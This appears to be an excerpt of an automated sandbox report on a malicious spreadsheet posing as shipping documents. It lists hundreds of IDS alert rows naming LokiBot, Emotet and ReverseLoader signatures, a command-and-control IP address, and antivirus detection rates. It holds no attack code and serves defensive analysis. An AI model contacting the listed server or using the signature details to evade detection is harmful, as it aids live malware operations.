2024-10-24T08:46:21.710093+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-24T08:46:22.808952+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-24T08:46:24.246938+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-24T08:46:25.331525+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-24T08:46:26.551291+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-24T08:46:28.251730+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-24T08:46:29.338163+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-24T08:46:30.655966+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-24T08:46:31.856886+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-24T08:46:33.155234+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-24T08:46:34.578342+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-24T08:46:35.676631+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-24T08:46:36.783619+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-24T08:46:37.966886+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-24T08:46:39.114628+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-24T08:46:40.223656+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-24T08:46:41.328860+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-24T08:46:42.424772+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-24T08:46:43.523331+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-24T08:46:44.664054+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-24T08:46:45.984133+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-24T08:46:47.107551+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-24T08:46:48.810873+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-24T08:46:50.129192+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-24T08:46:51.214727+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-24T08:46:52.324683+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-24T08:46:53.452603+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-24T08:46:54.556519+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-24T08:46:55.732586+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-24T08:46:56.915668+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-24T08:46:58.072935+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-24T08:46:59.198997+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-24T08:47:00.299934+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-24T08:47:01.467081+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-24T08:47:03.911969+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-24T08:47:05.015239+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-24T08:47:06.127566+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-24T08:47:07.235602+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-24T08:47:08.350903+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-24T08:47:09.473326+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-24T08:47:10.574642+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-24T08:47:11.695700+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-24T08:47:12.799153+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-24T08:47:14.031658+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-24T08:47:15.182608+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-24T08:47:16.271864+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-24T08:47:17.383378+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-24T08:47:18.474819+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-24T08:47:19.574207+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-24T08:47:20.702266+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49239	94.156.177.220	80	TCP
2024-10-24T08:47:21.798439+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49240	94.156.177.220	80	TCP
2024-10-24T08:47:22.966218+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49241	94.156.177.220	80	TCP
2024-10-24T08:47:24.081988+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49242	94.156.177.220	80	TCP
2024-10-24T08:47:25.191206+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49243	94.156.177.220	80	TCP
2024-10-24T08:47:26.304249+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49244	94.156.177.220	80	TCP
2024-10-24T08:47:27.421647+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49245	94.156.177.220	80	TCP
2024-10-24T08:47:28.598214+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49246	94.156.177.220	80	TCP
2024-10-24T08:47:29.692195+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49247	94.156.177.220	80	TCP
2024-10-24T08:47:30.943851+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49248	94.156.177.220	80	TCP
2024-10-24T08:47:32.217248+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49249	94.156.177.220	80	TCP
2024-10-24T08:47:33.316783+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49250	94.156.177.220	80	TCP
2024-10-24T08:47:34.466932+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49251	94.156.177.220	80	TCP
2024-10-24T08:47:36.171721+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49252	94.156.177.220	80	TCP
2024-10-24T08:47:37.350269+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49253	94.156.177.220	80	TCP
2024-10-24T08:47:38.481255+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49254	94.156.177.220	80	TCP
2024-10-24T08:47:39.590691+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49255	94.156.177.220	80	TCP
2024-10-24T08:47:40.694535+0200	2024318	1	Malware Command and Control Activity Detected	192.168.2.22	49256	94.156.177.220	80	TCP

ET MALWARE LokiBot User-Agent (Charon/Inferno)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:46:07.501003+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-24T08:46:08.603129+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-24T08:46:09.653987+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-24T08:46:10.793925+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-24T08:46:11.962080+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-24T08:46:13.263396+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-24T08:46:14.530065+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-24T08:46:15.797609+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-24T08:46:17.256132+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-24T08:46:18.375546+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-24T08:46:19.648513+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-24T08:46:20.762214+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-24T08:46:21.849543+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-24T08:46:23.281189+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-24T08:46:24.390800+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-24T08:46:25.483247+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-24T08:46:26.725660+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-24T08:46:28.399061+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-24T08:46:29.683232+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-24T08:46:30.898100+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-24T08:46:32.194843+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-24T08:46:33.628718+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-24T08:46:34.733384+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-24T08:46:35.832085+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-24T08:46:37.014681+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-24T08:46:38.149338+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-24T08:46:39.259709+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-24T08:46:40.378743+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-24T08:46:41.479514+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-24T08:46:42.564513+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-24T08:46:43.679806+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-24T08:46:45.035157+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-24T08:46:46.148100+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-24T08:46:47.878298+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-24T08:46:49.169376+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-24T08:46:50.273713+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-24T08:46:51.369260+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-24T08:46:52.485586+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-24T08:46:53.624164+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-24T08:46:54.754980+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-24T08:46:55.935933+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-24T08:46:57.102699+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-24T08:46:58.242857+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-24T08:46:59.354586+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-24T08:47:00.514142+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-24T08:47:02.970814+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-24T08:47:04.071738+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-24T08:47:05.171077+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-24T08:47:06.288133+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-24T08:47:07.393228+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-24T08:47:08.518293+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-24T08:47:09.627438+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-24T08:47:10.737748+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-24T08:47:11.855700+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-24T08:47:12.955608+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-24T08:47:14.230832+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-24T08:47:15.332422+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-24T08:47:16.428303+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-24T08:47:17.547052+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-24T08:47:18.627837+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-24T08:47:19.754722+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49239	94.156.177.220	80	TCP
2024-10-24T08:47:20.851688+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49240	94.156.177.220	80	TCP
2024-10-24T08:47:22.015332+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49241	94.156.177.220	80	TCP
2024-10-24T08:47:23.119040+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49242	94.156.177.220	80	TCP
2024-10-24T08:47:24.247331+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49243	94.156.177.220	80	TCP
2024-10-24T08:47:25.347820+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49244	94.156.177.220	80	TCP
2024-10-24T08:47:26.454873+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49245	94.156.177.220	80	TCP
2024-10-24T08:47:27.639729+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49246	94.156.177.220	80	TCP
2024-10-24T08:47:28.744434+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49247	94.156.177.220	80	TCP
2024-10-24T08:47:29.996929+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49248	94.156.177.220	80	TCP
2024-10-24T08:47:31.153128+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49249	94.156.177.220	80	TCP
2024-10-24T08:47:32.364981+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49250	94.156.177.220	80	TCP
2024-10-24T08:47:33.527794+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49251	94.156.177.220	80	TCP
2024-10-24T08:47:34.612892+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49252	94.156.177.220	80	TCP
2024-10-24T08:47:36.386309+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49253	94.156.177.220	80	TCP
2024-10-24T08:47:37.498724+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49254	94.156.177.220	80	TCP
2024-10-24T08:47:38.645072+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49255	94.156.177.220	80	TCP
2024-10-24T08:47:39.740085+0200	2021641	1	A Network Trojan was detected	192.168.2.22	49256	94.156.177.220	80	TCP

ET MALWARE ReverseLoader Reverse Base64 Loader In Image M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:45:47.325286+0200	2049038	1	A Network Trojan was detected	142.250.186.97	443	192.168.2.22	49169	TCP
2024-10-24T08:46:06.918306+0200	2049038	1	A Network Trojan was detected	142.250.186.97	443	192.168.2.22	49176	TCP

ET MALWARE W32/Emotet.v4 Checkin Fake 404 Payload Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:47:28.606339+0200	2035065	1	Malware Command and Control Activity Detected	94.156.177.220	80	192.168.2.22	49246	TCP

ETPRO MALWARE LokiBot Checkin M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-24T08:46:07.501003+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49178	94.156.177.220	80	TCP
2024-10-24T08:46:08.603129+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49179	94.156.177.220	80	TCP
2024-10-24T08:46:09.653987+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49180	94.156.177.220	80	TCP
2024-10-24T08:46:10.793925+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49181	94.156.177.220	80	TCP
2024-10-24T08:46:11.962080+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49182	94.156.177.220	80	TCP
2024-10-24T08:46:13.263396+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49183	94.156.177.220	80	TCP
2024-10-24T08:46:14.530065+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49184	94.156.177.220	80	TCP
2024-10-24T08:46:15.797609+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49185	94.156.177.220	80	TCP
2024-10-24T08:46:17.256132+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49186	94.156.177.220	80	TCP
2024-10-24T08:46:18.375546+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49188	94.156.177.220	80	TCP
2024-10-24T08:46:19.648513+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49189	94.156.177.220	80	TCP
2024-10-24T08:46:20.762214+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49190	94.156.177.220	80	TCP
2024-10-24T08:46:21.849543+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49191	94.156.177.220	80	TCP
2024-10-24T08:46:23.281189+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49192	94.156.177.220	80	TCP
2024-10-24T08:46:24.390800+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49193	94.156.177.220	80	TCP
2024-10-24T08:46:25.483247+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49194	94.156.177.220	80	TCP
2024-10-24T08:46:26.725660+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49195	94.156.177.220	80	TCP
2024-10-24T08:46:28.399061+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49196	94.156.177.220	80	TCP
2024-10-24T08:46:29.683232+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49197	94.156.177.220	80	TCP
2024-10-24T08:46:30.898100+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49198	94.156.177.220	80	TCP
2024-10-24T08:46:32.194843+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49199	94.156.177.220	80	TCP
2024-10-24T08:46:33.628718+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49200	94.156.177.220	80	TCP
2024-10-24T08:46:34.733384+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49201	94.156.177.220	80	TCP
2024-10-24T08:46:35.832085+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49202	94.156.177.220	80	TCP
2024-10-24T08:46:37.014681+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49203	94.156.177.220	80	TCP
2024-10-24T08:46:38.149338+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49204	94.156.177.220	80	TCP
2024-10-24T08:46:39.259709+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49205	94.156.177.220	80	TCP
2024-10-24T08:46:40.378743+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49206	94.156.177.220	80	TCP
2024-10-24T08:46:41.479514+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49207	94.156.177.220	80	TCP
2024-10-24T08:46:42.564513+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49208	94.156.177.220	80	TCP
2024-10-24T08:46:43.679806+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49209	94.156.177.220	80	TCP
2024-10-24T08:46:45.035157+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49210	94.156.177.220	80	TCP
2024-10-24T08:46:46.148100+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49211	94.156.177.220	80	TCP
2024-10-24T08:46:47.878298+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49212	94.156.177.220	80	TCP
2024-10-24T08:46:49.169376+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49213	94.156.177.220	80	TCP
2024-10-24T08:46:50.273713+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49214	94.156.177.220	80	TCP
2024-10-24T08:46:51.369260+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49215	94.156.177.220	80	TCP
2024-10-24T08:46:52.485586+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49216	94.156.177.220	80	TCP
2024-10-24T08:46:53.624164+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49217	94.156.177.220	80	TCP
2024-10-24T08:46:54.754980+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49218	94.156.177.220	80	TCP
2024-10-24T08:46:55.935933+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49219	94.156.177.220	80	TCP
2024-10-24T08:46:57.102699+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49220	94.156.177.220	80	TCP
2024-10-24T08:46:58.242857+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49221	94.156.177.220	80	TCP
2024-10-24T08:46:59.354586+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49222	94.156.177.220	80	TCP
2024-10-24T08:47:00.514142+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49223	94.156.177.220	80	TCP
2024-10-24T08:47:02.970814+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49224	94.156.177.220	80	TCP
2024-10-24T08:47:04.071738+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49225	94.156.177.220	80	TCP
2024-10-24T08:47:05.171077+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49226	94.156.177.220	80	TCP
2024-10-24T08:47:06.288133+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49227	94.156.177.220	80	TCP
2024-10-24T08:47:07.393228+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49228	94.156.177.220	80	TCP
2024-10-24T08:47:08.518293+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49229	94.156.177.220	80	TCP
2024-10-24T08:47:09.627438+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49230	94.156.177.220	80	TCP
2024-10-24T08:47:10.737748+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49231	94.156.177.220	80	TCP
2024-10-24T08:47:11.855700+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49232	94.156.177.220	80	TCP
2024-10-24T08:47:12.955608+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49233	94.156.177.220	80	TCP
2024-10-24T08:47:14.230832+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49234	94.156.177.220	80	TCP
2024-10-24T08:47:15.332422+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49235	94.156.177.220	80	TCP
2024-10-24T08:47:16.428303+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49236	94.156.177.220	80	TCP
2024-10-24T08:47:17.547052+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49237	94.156.177.220	80	TCP
2024-10-24T08:47:18.627837+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49238	94.156.177.220	80	TCP
2024-10-24T08:47:19.754722+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49239	94.156.177.220	80	TCP
2024-10-24T08:47:20.851688+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49240	94.156.177.220	80	TCP
2024-10-24T08:47:22.015332+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49241	94.156.177.220	80	TCP
2024-10-24T08:47:23.119040+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49242	94.156.177.220	80	TCP
2024-10-24T08:47:24.247331+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49243	94.156.177.220	80	TCP
2024-10-24T08:47:25.347820+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49244	94.156.177.220	80	TCP
2024-10-24T08:47:26.454873+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49245	94.156.177.220	80	TCP
2024-10-24T08:47:27.639729+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49246	94.156.177.220	80	TCP
2024-10-24T08:47:28.744434+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49247	94.156.177.220	80	TCP
2024-10-24T08:47:29.996929+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49248	94.156.177.220	80	TCP
2024-10-24T08:47:31.153128+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49249	94.156.177.220	80	TCP
2024-10-24T08:47:32.364981+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49250	94.156.177.220	80	TCP
2024-10-24T08:47:33.527794+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49251	94.156.177.220	80	TCP
2024-10-24T08:47:34.612892+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49252	94.156.177.220	80	TCP
2024-10-24T08:47:36.386309+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49253	94.156.177.220	80	TCP
2024-10-24T08:47:37.498724+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49254	94.156.177.220	80	TCP
2024-10-24T08:47:38.645072+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49255	94.156.177.220	80	TCP
2024-10-24T08:47:39.740085+0200	2825766	1	Malware Command and Control Activity Detected	192.168.2.22	49256	94.156.177.220	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: Shipping Documents WMLREF115900.xls	Virustotal: Detection: 25%			Perma Link
Source: Shipping Documents WMLREF115900.xls	ReversingLabs: Detection: 21%

Machine Learning detection for sample

Source: Shipping Documents WMLREF115900.xls

Joe Sandbox ML: detected

Source: unknown	HTTPS traffic detected: 216.58.212.174:443 -> 192.168.2.22:49168 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 142.250.186.97:443 -> 192.168.2.22:49169 version: TLS 1.0
